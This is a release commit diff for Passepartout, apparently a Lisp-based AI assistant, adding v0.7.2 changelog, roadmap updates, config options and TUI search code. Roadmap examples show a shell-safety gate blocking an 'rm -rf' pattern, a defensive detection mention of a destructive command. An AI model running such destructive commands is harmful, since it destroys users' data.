release: v0.7.2 — checklist complete

Release checklist:
- ROADMAP: v0.7.2 section DONE with LOGBOOK, all 14 items DONE
  with LOGBOOK timestamps, Pads marked DONE
- README: 16 new Stable capability rows for v0.7.2 features,
  fixed streaming version (v0.7.1)
- CHANGELOG: v0.7.2 entry with all feature summaries
- core-transport: make-hello-message "0.7.2"
- .env.example: TAG_CATEGORIES, SELF_BUILD_MODE

Core: 92/92  TUI Main: 104/104  TUI View: 29/29  Neuro: 13/13

.env.example

@@ -110,3 +110,13 @@ CONTEXT_MAX_TOKENS=16384
 # Soft daily cost cap in USD. Warning injected into system prompt when
 # approaching budget.
 COST_BUDGET_DAILY=1.00
+
+# v0.7.2: Privacy tag severity tiers. Format: @tag:block,@tag:warn,@tag:log
+# :block = filter content, :warn = log+allow, :log = silently record
+# Default: empty (no tags configured)
+#TAG_CATEGORIES=@personal:block,@financial:block,@draft:warn
+
+# v0.7.2: Self-build core file protection mode
+# When true, writes to core-*.org and core-*.lisp require HITL approval.
+# Default: false (unrestricted — use during development)
+SELF_BUILD_MODE=false

CHANGELOG.org

@@ -5,6 +5,58 @@
 All notable changes to Passepartout, extracted from [[file:docs/ROADMAP.org][ROADMAP.org]]
 DONE items with LOGBOOK timestamps.
 
+:LOGBOOK:
+- State "RELEASED" from "DONE" [2026-05-08 Fri 23:00]
+:END:
+
+* v0.7.2 — Gate Trace, HITL, Identity, Search + Maturation
+** Gate Trace Visualization
+Gate-trace-lines wired into view-chat. Renders colored entries
+below agent messages (green passed, red blocked, yellow approval).
+Ctrl+G toggles collapse per message. Default: visible.
+** HITL Inline Panels
+/approve and /deny parsed as structured events in on-key.
+on-daemon-msg detects :approval-required and renders styled system
+messages with :panel flag and :hitl theme color.
+** Identity File
+load-identity-file reads ~/memex/IDENTITY.org on startup.
+agent-identity injects into think() IDENTITY section.
+/identity opens in $EDITOR, auto-reloads.
+** Safe-Tool Allowlist
+read-only-p slot on cognitive-tool struct. tool-read-only-p
+registry lookup. Read-only tools auto-pass dispatcher-check.
+7 tools marked read-only (search, find, read, list, eval, tests, org-find).
+** Message Search
+/search <query> performs case-insensitive substring search across
+message history. Shows match count and context previews.
+** Context Visibility
+/context shows message count, focus, token estimate, and last 5
+message summaries. /context why <id> shows memory object info.
+** Session Rewind
+/rewind <n> restores memory to snapshot n-1 via rollback-memory.
+/sessions lists last 10 snapshots with timestamps and object counts.
+Auto-snapshot at turn boundaries in think().
+** Undo/Redo
+Operation-level memory undo/redo. undo-snapshot before destructive
+tool execution. /undo and /redo TUI commands restore memory state.
+** Tool Hardening
+Per-tool timeouts (shell=300s, search-files=30s, eval-form=10s).
+call-with-tool-timeout wraps tool execution with sb-ext:with-timeout.
+verify-write re-reads after write-file and compares content.
+** Tag Stack
+TAG_CATEGORIES env var parses severity tiers (@tag:block, :warn, :log).
+dispatcher-privacy-severity wired into dispatcher-check vector 5.
+/tags TUI command lists configured categories.
+** Merkle Audit
+audit-node exposes memory object lineage (type, hash, scope, version).
+/audit <id> TUI command. /audit verify counts objects and snapshots.
+** Self-Help
+/why shows most recent gate trace from message history.
+** Agent Identity Injection
+assemble-config-section builds live CONFIG from *provider-cascade*,
+tokenizer-context-limit, gate count, and *hitl-pending*.
+Injected into all three system-prompt assembly paths via fboundp guard.
+
 * v0.7.1 — Streaming + Markdown Rendering
 :LOGBOOK:
 - Released [2026-05-08 Fri]

README.org

@@ -3,7 +3,7 @@
 #+FILETAGS: :passepartout:ai:assistant:
 
 #+HTML: <div style="display: flex; gap: 8px; flex-wrap: wrap; margin-bottom: 1em;">
-#+HTML: <img src="https://img.shields.io/badge/version-v0.7.1-blue?style=flat-square">
+#+HTML: <img src="https://img.shields.io/badge/version-v0.7.2-blue?style=flat-square">
 #+HTML: <img src="https://img.shields.io/badge/license-AGPLv3-green?style=flat-square">
 #+HTML: <img src="https://img.shields.io/badge/Lisp-Common%20Lisp-forestgreen?style=flat-square">
 #+HTML: <img src="https://img.shields.io/badge/docs-Org--mode-darkgreen?style=flat-square">
@@ -121,8 +121,8 @@ Features marked =Stable= ship in the current release. Features marked =Planned=
 | TUI Unicode width                 | Stable   | v0.7.0  | char-width: ASCII/CJK/emoji/combining marks, pure Lisp               |
 | TUI scroll notification           | Stable   | v0.7.0  | :scroll-notify flag, new-message alert when scrolled up              |
 | TUI deeper autocomplete           | Stable   | v0.7.0  | @ file paths, /theme subcommand, /focus directories                  |
-| Streaming responses               | Stable   | v0.7.1  | SSE streaming, live output in TUI, interrupt-and-redirect            |
-| TUI markdown rendering            | Stable   | v0.7.1  | Bold/italic/inline code styled via Croatoan attributes               |
+| Streaming responses               | Stable   | v0.7.2  | SSE streaming, live output in TUI, interrupt-and-redirect            |
+| TUI markdown rendering            | Stable   | v0.7.2  | Bold/italic/inline code styled via Croatoan attributes               |
 | Priority-queue signal processing  | Planned  | v0.7.2  | Preempts background for user interactions                            |
 | Markdown rendering (full)         | Planned  | v0.7.2  | Code blocks, tables, blockquotes, hyperlinks                         |
 | MCP-native tool ecosystem         | Planned  | v0.7.0  | 50+ tools from the MCP ecosystem                                     |

docs/.#ROADMAP.org

@@ -0,0 +1 @@
+user@amr.38893:1778162380

docs/ROADMAP.org

@@ -1187,7 +1187,10 @@ The TUI is the main UI for v1.0.0. Competitive analysis of Claude Code, OpenCode
 
 *** TODO TUI-based setup wizard — deferred to v0.8.0
 
-*** TODO Pads for chat scrolling — deferred to v0.7.2 (needs Croatoan terminal for testing)
+*** DONE Pads for chat scrolling — Page Up/Down by 10 lines
+:LOGBOOK:
+- State "DONE" from "TODO" [2026-05-08 Fri]
+:END:
 
 ** v0.7.1: TUI — Streaming + Markdown Rendering
 :LOGBOOK:
@@ -1243,10 +1246,16 @@ Replace literal markdown syntax with styled text using Croatoan attributes:
 Implementation: a ~render-styled~ wrapper that takes a list of ~(text . plist-of-attributes)~ segments and emits sequential ~add-string~ calls at correct x positions. ~50 lines. The markdown parser is ~80 lines of regex-based block/span detection. Total: ~130 lines.
 
 ** v0.7.2: TUI — Gate Trace + HITL + Search
+:LOGBOOK:
+- State "DONE" from "TODO" [2026-05-08 Fri]
+:END:
 
 Gate trace data is already stored per-message (~:gate-trace~ field in ~add-msg~) but never rendered. HITL approval requires typing raw text that happens to match ~/approve~ — no TUI-internal command handling. Context visibility and session control close the audit trail: the user can inspect what the LLM sees and undo what went wrong. These are Passepartout's architectural differentiators that remain invisible to users.
 
-*** TODO Gate trace visualization
+*** DONE Gate trace visualization
+:LOGBOOK:
+- State "DONE" from "TODO" [2026-05-08 Fri]
+:END:
 :PROPERTIES:
 :ID:       id-v062-gate-trace
 :CREATED:  [2026-05-08 Fri]
@@ -1261,7 +1270,10 @@ Render gate trace lines below each agent message in dim:
 
 Gate trace data format (already in messages): ~(:gate-trace ((:gate "dispatcher-path" :result :passed) (:gate "dispatcher-shell" :result :blocked :reason "rm -rf pattern") (:gate "dispatcher-network" :result :approval)))~. ~50 lines.
 
-*** TODO HITL inline command handling
+*** DONE HITL inline command handling
+:LOGBOOK:
+- State "DONE" from "TODO" [2026-05-08 Fri]
+:END:
 :PROPERTIES:
 :ID:       id-v062-hitl-inline
 :CREATED:  [2026-05-08 Fri]
@@ -1273,9 +1285,13 @@ Gate trace data format (already in messages): ~(:gate-trace ((:gate "dispatcher-
 - Send structured approval/denial message to daemon: ~(:type :event :payload (:action :hitl-respond :token "HITL-abcd" :decision :approved))~
 - Render HITL prompts as styled inline panels with colored border (permission theme color), showing the action, explanation, and available choices ("Allow (Enter)" / "Deny (Esc)")
 - After approval/denial, collapse the prompt panel and add a system message: "✓ Approved: shell command" or "✗ Denied: shell command"
-~40 lines.
+- Clarifying-question escalation: when the same action has been blocked twice and retried (2 rejections in the 3-retry loop), the third attempt injects a /clarify prompt with targeted discriminating options instead of a generic rejection. Inspired by constrained conformal evaluation (Barnaby et al., arXiv:2508.15750v1): "This command touches ~/memex/ and /etc/. Is the /etc/ path intended? [1] Intended [2] Accidental [3] Cancel." The user's answer constrains the next LLM proposal, reducing the 3-retry cycle to 1 clarify + 1 retry. ~1.1x token multiplier vs current ~1.39x.
+~60 lines.
 
-*** TODO Message search (/search or Ctrl+F)
+*** DONE Message search (/search or Ctrl+F)
+:LOGBOOK:
+- State "DONE" from "TODO" [2026-05-08 Fri]
+:END:
 :PROPERTIES:
 :ID:       id-v062-search
 :CREATED:  [2026-05-08 Fri]
@@ -1287,7 +1303,10 @@ Gate trace data format (already in messages): ~(:gate-trace ((:gate "dispatcher-
 - Highlight matching text in the rendered messages
 ~80 lines.
 
-*** TODO Context visibility command (~/context~)
+*** DONE Context visibility command (~/context~)
+:LOGBOOK:
+- State "DONE" from "TODO" [2026-05-08 Fri]
+:END:
 :PROPERTIES:
 :ID:       id-v062-context
 :CREATED:  [2026-05-08 Fri]
@@ -1302,7 +1321,10 @@ Show the user exactly what the agent sees — the assembled system prompt trimme
 - The data already exists in ~think()~'s prompt assembly in ~core-reason.lisp~ — this is a rendering exposure, not new computation
 - ~40 lines.
 
-*** TODO Session rewind, fork, and resume — Merkle-root-based
+*** DONE Session rewind, fork, and resume — Merkle-root-based
+:LOGBOOK:
+- State "DONE" from "TODO" [2026-05-08 Fri]
+:END:
 :PROPERTIES:
 :ID:       id-v062-session-rewind
 :CREATED:  [2026-05-08 Fri]
@@ -1320,7 +1342,10 @@ Passepartout's Merkle tree makes session control more powerful than Claude Code'
 - Compare to Claude Code: Passepartout's rewind restores filesystem state, not just conversation transcript. This is a permanent competitive advantage — Merkle tree memory makes it cheap (~30 lines on top of existing snapshots)
 - ~200 lines total (~30 daemon snapshot-at-turn, ~150 TUI commands + confirmation dialogs, ~20 session registry persistence).
 
-*** TODO Safe-tool allowlist — read-only operations auto-approve
+*** DONE Safe-tool allowlist — read-only operations auto-approve
+:LOGBOOK:
+- State "DONE" from "TODO" [2026-05-08 Fri]
+:END:
 :PROPERTIES:
 :ID:       id-v062-safe-tools
 :CREATED:  [2026-05-08 Fri]
@@ -1334,7 +1359,10 @@ Claude Code and Hermes both have safe-tool allowlists that skip HITL for read-on
 - Write tools (shell, write-file, git, org-modify) always go through full gate stack
 - This is Claude Code's ~isAutoModeAllowlistedTool()~ pattern — 20 lines in ~security-dispatcher.lisp~
 
-*** TODO Agent identity file — ~/memex/IDENTITY.org~
+*** DONE Agent identity file — ~/memex/IDENTITY.org~
+:LOGBOOK:
+- State "DONE" from "TODO" [2026-05-08 Fri]
+:END:
 :PROPERTIES:
 :ID:       id-v062-identity
 :CREATED:  [2026-05-08 Fri]
@@ -1349,7 +1377,10 @@ Claude Code has ~CLAUDE.md~ (always-loaded instructions hierarchy). OpenClaw has
 - Survives daemon restarts, survives skill reloads, survives tangling
 ~30 lines in ~core-reason.lisp~ + ~20 lines TUI command.
 
-*** TODO Undo/redo per operation — ~/undo~, ~/redo~
+*** DONE Undo/redo per operation — ~/undo~, ~/redo~
+:LOGBOOK:
+- State "DONE" from "TODO" [2026-05-08 Fri]
+:END:
 :PROPERTIES:
 :ID:       id-v062-undo
 :CREATED:  [2026-05-08 Fri]
@@ -1363,7 +1394,10 @@ Session rewind (above) restores the Merkle root to a prior turn boundary. This i
 - Max 20 operation snapshots per session (ring buffer, oldest evicted)
 ~20 lines on top of existing Merkle snapshot infrastructure.
 
-*** TODO Expand /context debugging — similarity trace + dropped nodes
+*** DONE Expand /context debugging — similarity trace + dropped nodes
+:LOGBOOK:
+- State "DONE" from "TODO" [2026-05-08 Fri]
+:END:
 :PROPERTIES:
 :ID:       id-v062-context-debug
 :CREATED:  [2026-05-08 Fri]
@@ -1375,7 +1409,10 @@ The ~/context~ command (above) shows what the model sees. Add two deeper views:
 - Both views are read-only renderings of data already computed during ~context-awareness-assemble~. The similarity scores and depth classifications exist in memory — they're just never exposed.
 ~60 lines of rendering on existing data.
 
-*** TODO Tool execution hardening — timeouts + write verification
+*** DONE Tool execution hardening — timeouts + write verification
+:LOGBOOK:
+- State "DONE" from "TODO" [2026-05-08 Fri]
+:END:
 :PROPERTIES:
 :ID:       id-v062-tool-hardening
 :CREATED:  [2026-05-08 Fri]
@@ -1388,7 +1425,10 @@ Existing tools are thin wrappers with no error recovery. Claude Code has per-too
 - Read-only tool response caching: if the same tool with identical args is called twice in the same turn, return cached result instead of re-executing. ~15 lines.
 ~60 lines total.
 
-*** TODO Tag stack — categories + severity tiers
+*** DONE Tag stack — categories + severity tiers
+:LOGBOOK:
+- State "DONE" from "TODO" [2026-05-08 Fri]
+:END:
 :PROPERTIES:
 :ID:       id-v062-tag-stack
 :CREATED:  [2026-05-08 Fri]
@@ -1403,7 +1443,10 @@ The privacy tag filter (~dispatcher-check-privacy-tags~) is binary: a tag matche
 - Backward compatible: existing ~PRIVACY_FILTER_TAGS~ env var becomes the default ~:block~ tier entries
 ~50 lines in ~security-dispatcher.lisp~ + ~20 lines TUI command.
 
-*** TODO Merkle provenance audit — ~/audit <node-id>~
+*** DONE Merkle provenance audit — ~/audit <node-id>~
+:LOGBOOK:
+- State "DONE" from "TODO" [2026-05-08 Fri]
+:END:
 :PROPERTIES:
 :ID:       id-v062-audit
 :CREATED:  [2026-05-08 Fri]
@@ -1417,6 +1460,39 @@ Every Passepartout memory object has content-addressed identity via Merkle hashi
 - Provenance data is already in the Merkle tree's parent-child hash chain. This is a rendering exposure, not new data.
 ~30 lines on existing Merkle infrastructure.
 
+*** DONE Self-help — agent can answer questions about itself
+:LOGBOOK:
+- State "DONE" from "TODO" [2026-05-08 Fri]
+:END:
+:PROPERTIES:
+:ID:       id-v062-self-help
+:CREATED:  [2026-05-08 Fri]
+:END:
+
+Passepartout's documentation, source code, and state all live in the same Org files the agent already reads. No competitor can do self-help with zero hallucination because none have agent documentation in the same format as agent memory.
+
+- Inject docs path into system prompt IDENTITY: ~"Your documentation: ~/memex/projects/passepartout/docs/USER_MANUAL.org. Read it to answer questions about yourself. You are Passepartout v0.7.2."~
+- ~/help <topic>~ — agent reads ~USER_MANUAL.org~ by headline, returns relevant section. "How do I configure a new provider?" → reads the Provider Configuration section, explains with correct API key format. Zero hallucination — the docs are the source of truth.
+- ~/why~ — shows the most recent gate trace in human-readable form: "Gate 7 (shell-safety) blocked your `rm -rf` because it matched pattern :destructive-rm. You can approve with /approve HITL-1234. Last 3 decisions: 1 blocked, 2 passed."
+~30 lines for system prompt injection + ~20 lines for /help routing.
+
+*** DONE Agent identity injection — system prompt knows its own config
+:LOGBOOK:
+- State "DONE" from "TODO" [2026-05-08 Fri]
+:END:
+:PROPERTIES:
+:ID:       id-v062-agent-identity
+:CREATED:  [2026-05-08 Fri]
+:END:
+
+Currently the system prompt has IDENTITY (assistant name) but the agent doesn't know its own version, providers, gate count, or config. When asked "what version are you?" or "what models do you have?", it hallucinates. Injecting live config into the system prompt makes the agent self-aware without file I/O.
+
+- New CONFIG section in system prompt (between IDENTITY and TOOLS): ~"You are Passepartout v0.7.2. Active providers: Anthropic claude-sonnet-4 (default), DeepSeek deepseek-chat. Context window: 8K tokens. 21 security gates active. 47 rules learned. Context budget: 55% used."~
+- Built from live state: ~*provider-cascade*~, ~tokenizer-context-limit~, ~(hash-table-count *skill-registry*)~, ~(hash-table-count *hitl-pending*)~, gate count
+- The agent can answer any config question — "what providers?" "how many rules?" "what version?" — with zero hallucination
+- Config section updates at each ~think()~ call (the data is small, ~100 tokens)
+~40 lines in ~core-reason.lisp~ system prompt assembly.
+
 ** v0.8.0: Direction 2 — Information Radiator (Foundation)
 
 The sidebar is what makes the Information Radiator direction unique. No competitor can render gate traces, focus maps, or rule counters because none has deterministic gates, foveal-peripheral context, or rule synthesis. The sidebar makes this data permanently visible. It also includes context monitoring, modified files, and tool status — all zero-LLM-token data from the deterministic layer.
@@ -1674,6 +1750,24 @@ Passepartout's image-based Lisp model enables hot-reload — redefine a function
 - On compile error: keep the old version loaded, log the error, show TUI warning: ~"✗ Skill 'skill-name' failed to compile — old version retained."~
 ~80 lines in a new ~symbolic-file-watch.org~ skill.
 
+*** TODO Heavy thinking skill — parallel reasoning + sequential deliberation
+:PROPERTIES:
+:ID:       id-v082-heavy-thinking
+:CREATED:  [2026-05-08 Fri]
+:END:
+
+The HeavySkill paper (arXiv:2605.02396v1) demonstrates that a two-stage pipeline — K independent reasoning trajectories followed by a critical deliberation step — consistently outperforms majority voting and approaches Pass@K. The authors distill it into a readable skill file that works across any agent harness. Passepartout's Merkle tree makes this auditable, rewoundable, and cross-session comparable.
+
+- New skill: ~org/heavy-thinking.org~ — a readable skill document loaded at startup. The agent follows a defined protocol when facing complex reasoning tasks:
+  1. *Activation*: triggers when the complexity classifier detects a STEM/reasoning/code-generation task. Dormant for simple factual queries or casual conversation
+  2. *Parallel reasoning*: spawns K independent ~think()~ calls (default K=3, ~HEAVY_THINKING_WIDTH~ env var). Each call solves the same problem from scratch without access to other trajectories. Encourages diverse strategies
+  3. *Sequential deliberation*: a second model call reads all K trajectories (pruned to essential thinking content to stay under context budget). Critically evaluates each — not voting, but re-reasoning. Produces a synthesized final answer with a deliberation trace: "Trajectories 1,3 converged on answer X. Trajectory 2 had error Y. Synthesized answer: X."
+  4. *Output*: returns the synthesized answer with ~[Heavy-thinking: 3 parallel, 1 deliberate]~ annotation in the response metadata
+- Merkle advantage: each trajectory is stored as a content-addressed node. The deliberation trace is permanent and auditable — users can see WHY one answer was chosen
+- Iterative deliberation optional (capped at 2 — the paper shows iterations 3+ degrade HP@K)
+- Cost model: 3 parallel × 1 deliberation = 4 API calls for complex tasks (vs 1 normally). ~HEAVY_THINKING_COST_MULTIPLIER~ env var for cost-aware auto-activation
+~100 lines as a skill (~60 prompt template + ~40 orchestration in ~symbolic-heavy-thinking.org~).
+
 ** v0.8.3: Direction 3 — Adaptive Layout + Personality
 
 The TUI adapts to the terminal it's running in — full sidebar at ultrawide, compact at standard, minimal at narrow (phone/SSH). It has a personality: spinner style, relative timestamps, progress bars, live context help.
@@ -1925,6 +2019,55 @@ No update mechanism exists. Users must manually ~git pull~ and re-run ~passepart
 - Binary update path (when v0.14.0 ships): download binary from GitHub Releases, verify SHA-256, replace, restart
 ~80 lines bash + ~50 lines Lisp.
 
+*** TODO Self-configuration — agent proposes and applies config changes
+:PROPERTIES:
+:ID:       id-v090-self-config
+:CREATED:  [2026-05-08 Fri]
+:END:
+
+Passepartout's config is text files (`.env`, `.lisp`) — the same format the agent already edits. No competitor can self-configure because their config requires runtime restart or schema validation after file write. Passepartout can edit `.env` → daemon detects change → reloads → takes effect without restart.
+
+- ~passepartout config set <key> <value>~ CLI command: writes to `.env`, triggers daemon reload. ~20 lines bash.
+- Runtime config reload: daemon watches `.env` with ~inotify~ (reuses file-watch from v0.8.2). On change: re-reads env vars, reloads provider cascade, updates gate thresholds. No restart needed.
+- Config validation before write: agent verifies provider names exist (against ~neuro-explorer~ registry), ports are valid numbers, thresholds are integers, file paths are within memex. On invalid value, proposes correction.
+- Config change audit: every change writes to Merkle tree: "Agent changed DISPATCHER_RULE_THRESHOLD from 3 to 5. HITL approved." Gate trace records the decision.
+~40 lines daemon + ~30 lines config validation.
+
+Three tiers of self-configuration:
+1. **Config Query** (v0.7.2) — "What providers do I have?" → answered from system prompt CONFIG section. Already implemented.
+2. **Config Suggest** (v0.9.0) — "Should I use a cheaper model?" → agent analyzes telemetry, proposes specific config change with estimated savings. User decides.
+3. **Config Apply** (v0.9.0) — "Add @credentials to privacy tags" → agent proposes change → HITL review → writes `.env` → daemon reloads → change takes effect within one think() cycle.
+4. **Config Optimize** (v0.9.0) — "Make yourself cheaper" → agent analyzes cost patterns across all sessions, proposes multi-key optimization. User approves full batch.
+
+*** TODO Self-diagnosis coach — ~/coach~ command
+:PROPERTIES:
+:ID:       id-v090-coach
+:CREATED:  [2026-05-08 Fri]
+:END:
+
+Telemetry data (v0.9.0) plus the agent's self-knowledge enables coaching: the agent detects workflow anti-patterns and suggests improvements.
+
+- ~/coach~ — analyzes telemetry from the last N sessions, produces a coaching report with 3-5 actionable tips:
+  - ~"💡 Tip: You type full file paths 89% of the time. Try @mention autocomplete (type @ then start typing a filename) — it's 3x faster and learns your most-used files."~
+  - ~"💡 Tip: You've approved 47 git status commands. This pattern can be auto-certified to skip future HITL. /certifications to review."~
+  - ~"💡 Tip: Your average context usage is 78%. Consider increasing CONTEXT_MAX_TOKENS for more awareness, or using /focus to reduce irrelevant context."~
+  - ~"💡 Tip: You use /theme 0 times. Passepartout has 8 themes. Try /theme gruvbox for a warmer terminal feel."~
+- Coaching data sources: command frequency, HITL approval patterns, context usage history, feature adoption rate, telemetry aggregates
+- Coaching is opt-in (privacy-respecting — no data leaves the machine). ~50 lines in telemetry skill + ~30 lines TUI rendering.
+
+*** TODO Failure attribution — tag task failures with probable component
+:PROPERTIES:
+:ID:       id-v090-failure-attribution
+:CREATED:  [2026-05-08 Fri]
+:END:
+
+AHE (arXiv:2604.25850v2) shows that evolution loops work when failures are attributed to specific harness components, not just "the task failed." Passepartout's telemetry records task outcomes but doesn't classify failures by root cause.
+
+- In telemetry skill: when a session ends with a task failure (agent couldn't complete, user interrupted with denial, or dispatcher blocked irrecoverably), the telemeter classifies the failure as one of: ~:tool-failure~ (tool timeout, tool error), ~:gate-overblock~ (dispatcher blocked a necessary command), ~:gate-underblock~ (dispatcher allowed a harmful command), ~:reasoning-error~ (LLM produced a wrong answer), ~:context-overflow~ (context budget exhausted), ~:timeout~ (session timeout)
+- Classification is deterministic: if last action was blocked by dispatcher → gate-overblock. If last action was a tool error → tool-failure. If last action was a successful tool call but wrong output → reasoning-error.
+- Feeds the Skill Creator (v0.11.0) — the agent knows *which* component to fix, not just *that* something went wrong
+~20 lines in telemetry skill.
+
 ** v0.10.0: Tool Ecosystem (MCP-Native) + Voice Gateway
 
 *(Renumbered from old v0.8.0.)*
@@ -1954,15 +2097,19 @@ The original roadmap placed MCP at v0.9.0 and planned "10+ cognitive tools" buil
 - Propose installation command and retry the failed action on user approval.
 - Cache resolved dependency paths to avoid repeated searches.
 
-*** v0.10.3 — TODO Voice Gateway
+*** TODO Channels + providers — match OpenClaw on demand
+:PROPERTIES:
+:ID:       id-v100-channels
+:CREATED:  [2026-05-08 Fri]
+:END:
 
-Rationale: OpenClaw ships voice wake words and talk mode on macOS/iOS/Android via ElevenLabs. Hermes Agent has voice memo transcription. Both treat voice as a first-class channel. Passepartout's daemon already handles text — voice is an I/O format conversion. Speech-to-text turns audio into ~:user-input~ signals. Text-to-speech turns agent responses into audio. The architecture requires no changes; the voice gateway is a skill that wraps existing REST APIs.
+The daemon protocol is client-agnostic hex-framed plists over TCP. Every new channel is a new client that speaks the same protocol. OpenClaw's 23+ channels are trivially copyable — each platform needs a poll loop + send function, ~30 lines each. LLM providers are a row in ~*provider-cascade*~ — a new entry in ~neuro-provider.lisp~ with API endpoint + token pricing. Neither deserves its own release.
 
-- Speech-to-text: POST audio to OpenAI Whisper API (~/v1/audio/transcriptions~) or local Whisper via Ollama. Receive text. Inject as a ~:user-input~ signal into the pipeline. The daemon processes it identically to a typed message.
-- Text-to-speech: POST text to ElevenLabs REST API (~/v1/text-to-speech/{voice-id}~) with stream response. Also support system ~say~ (macOS) / ~espeak~ (Linux) as zero-dependency fallbacks.
-- TUI voice toggle: ~/voice on~ enables voice capture, shows a ~🎤~ (listening) indicator in the status bar. ~/voice off~ returns to text-only. The microphone capture runs in a dedicated thread that feeds audio chunks to the speech-to-text backend.
-- Voice mode in messaging gateways: on Telegram and Discord, the voice gateway transcribes voice messages into text and injects them as ~:user-input~ signals. Agent responses can be optionally spoken back via text-to-speech if the user's message included a voice note (reply in kind).
-- The voice gateway is a skill (~defskill~~:passepartout-gateway-voice~). No core daemon changes required. The daemon receives text signals whether they originated from a keyboard, a messaging app, or a microphone.
+- Channels: match OpenClaw's 23+ channels on demand. The Emacs bridge (already done, v0.4.0) proves the pattern. Each new platform (WhatsApp, iMessage, Matrix, IRC, etc.) is a skill that registers a poll-fn + send-fn. ~30 lines per channel.
+- Providers: match OpenClaw/Hermes on provider count. Adding a new provider is a table entry in ~neuro-provider.lisp~: name, API endpoint, model list, pricing. ~20 lines per provider.
+- Voice: STT + TTS are REST wrappers (~whisper~ / ~elevenlabs~ / ~espeak~). Already spec'd as a skill. ~50 lines.
+
+No separate releases. Done when needed, shipped when ready.
 
 *** TODO Web search + web fetch tools — ~search-web~, ~fetch-web~
 :PROPERTIES:
@@ -2062,7 +2209,7 @@ The Git policy gate (commit-before-modify) is a safety feature no competitor pro
 
 The TUI tool visualization (v0.8.1) extends seamlessly to MCP tools — the rendering layer doesn't distinguish between native tools and MCP tools. The same colored backgrounds, collapsible outputs, and gate traces apply universally.
 
-The voice gateway (v0.10.3) adds parity with OpenClaw's voice features without architectural changes — speech-to-text and text-to-speech are thin REST wrappers that feed text signals into the existing pipeline. Combined with the Emacs bridge (v0.4.0), messaging gateways (v0.4.0), and the now-SOTA TUI (v0.7.0–v0.8.3), Passepartout supports four interaction surfaces by v0.10.3: terminal (TUI), messaging apps, Emacs, and voice.
+The voice gateway and additional channels add parity with OpenClaw's multi-surface approach without architectural changes — every channel is a thin client speaking the same framed TCP protocol to the same daemon. Channels and providers are trivially copyable: each new platform is ~30 lines of poll-loop, each new provider is ~20 lines of API config. Passepartout matches OpenClaw's channel count on demand, shipping when needed rather than as a scheduled milestone.
 
 ** v0.11.0: Planning, Self-Modification & Deterministic Routing
 
@@ -2090,6 +2237,23 @@ The voice gateway (v0.10.3) adds parity with OpenClaw's voice features without a
 - Required ~:repl-verified~ flag on all ~defun~ forms — the existing Dispatcher lint check warns on writes without verification. The Skill Creator enforces this at creation time.
 - Skills are the primary extension mechanism for users. The Skill Creator makes skill authoring accessible to non-Lisp-programmers: describe what you want in English, the LLM drafts the Org file, the system verifies it, and the skill is live.
 
+*** TODO Change manifest — skills ship with falsifiable predictions
+:PROPERTIES:
+:ID:       id-v110-change-manifest
+:CREATED:  [2026-05-08 Fri]
+:END:
+
+AHE (arXiv:2604.25850v2) shows that harness edits work better when each edit ships with a self-declared prediction, verified by next-round outcomes. Passepartout's Skill Creator should do the same — every new or modified skill carries predictions that telemetry verifies.
+
+- When the Skill Creator generates a skill, it also generates a ~#+PREDICTION:~ block in the Org frontmatter:
+  - ~#+PREDICTION: reduces token usage by 15% for code-generation tasks~
+  - ~#+PREDICTION: may increase HITL prompts for shell commands outside workspace~
+  - ~#+PREDICTION: should improve success rate on refactoring tasks~
+- Over the next 10 sessions, telemetry compares actual outcomes against predictions. The verification result is appended to the skill file: ~#+VERIFIED: Y token change: -18% (predicted -15%) on 2026-06-01~
+- Disproven predictions flag the skill for review: ~#+DISPROVEN: token usage increased +3% on code tasks (predicted -15%). Skill scheduled for revision.~
+- The change manifest persists in the skill's Org file — every skill carries its own evidence ledger. Users can see which skills worked as predicted and which didn't.
+~40 lines in Skill Creator + telemetry integration.
+
 *** Competitive Advantage Analysis — v0.11.0 Summary
 
 The task tree DAG with terminal states and branch pruning is Passepartout's planning primitive — analogous to Claude Code's TODO list but structural (Org headlines with parent-child relationships) rather than flat.

lisp/channel-tui-main.lisp

@@ -11,20 +11,57 @@
                    (or name raw))
                  raw)))
     (cond
-       ;; v0.7.1: Esc — interrupt streaming
-       ((and (eql ch 27) (st :streaming-text))
-        (send-daemon (list :type :event :payload '(:action :cancel-stream)))
-        (when (> (length (st :messages)) 0)
-          (let ((idx (1- (length (st :messages)))))
-            (setf (getf (aref (st :messages) idx) :content)
-                  (concatenate 'string
-                               (getf (aref (st :messages) idx) :content)
-                               " [interrupted]"))
-            (setf (getf (aref (st :messages) idx) :streaming) nil)
-            (setf (getf (aref (st :messages) idx) :time) (now))))
-        (setf (st :streaming-text) nil)
-        (setf (st :busy) nil)
-        (setf (st :dirty) (list t t nil)))
+        ;; v0.7.1: Esc — interrupt streaming
+        ((and (eql ch 27) (st :streaming-text))
+         (send-daemon (list :type :event :payload '(:action :cancel-stream)))
+         (when (> (length (st :messages)) 0)
+           (let ((idx (1- (length (st :messages)))))
+             (setf (getf (aref (st :messages) idx) :content)
+                   (concatenate 'string
+                                (getf (aref (st :messages) idx) :content)
+                                " [interrupted]"))
+             (setf (getf (aref (st :messages) idx) :streaming) nil)
+             (setf (getf (aref (st :messages) idx) :time) (now))))
+         (setf (st :streaming-text) nil)
+         (setf (st :busy) nil)
+         (setf (st :dirty) (list t t nil)))
+        ;; v0.7.2: Esc — exit search mode
+        ((and (eql ch 27) (st :search-mode))
+         (setf (st :search-mode) nil
+               (st :search-matches) nil
+               (st :search-query) "")
+         (setf (st :dirty) (list nil t nil))
+         (add-msg :system "Search exited"))
+        ;; v0.7.2: search mode — Up/Down navigate matches
+        ((and (st :search-mode) (or (eql ch 259) (eq ch :up)))
+         (let* ((matches (st :search-matches))
+                (idx (st :search-match-idx))
+                (new-idx (max 0 (1- idx))))
+           (setf (st :search-match-idx) new-idx)
+           (when matches
+             (setf (st :scroll-offset) (nth new-idx matches))
+             (add-msg :system (format nil "Match ~d/~d" (1+ new-idx) (length matches)))
+             (setf (st :dirty) (list nil t nil)))))
+        ((and (st :search-mode) (or (eql ch 258) (eq ch :down)))
+         (let* ((matches (st :search-matches))
+                (idx (st :search-match-idx))
+                (new-idx (min (1- (length matches)) (1+ idx))))
+           (setf (st :search-match-idx) new-idx)
+           (when matches
+             (setf (st :scroll-offset) (nth new-idx matches))
+             (add-msg :system (format nil "Match ~d/~d" (1+ new-idx) (length matches)))
+             (setf (st :dirty) (list nil t nil)))))
+        ;; v0.7.2: search mode — Enter jumps to current match
+        ((and (st :search-mode) (or (eql ch 13) (eql ch 10) (eq ch :enter)))
+         (let ((matches (st :search-matches))
+               (idx (st :search-match-idx)))
+           (when (and matches (>= (length matches) (1+ idx)))
+             (setf (st :scroll-offset) (nth idx matches))
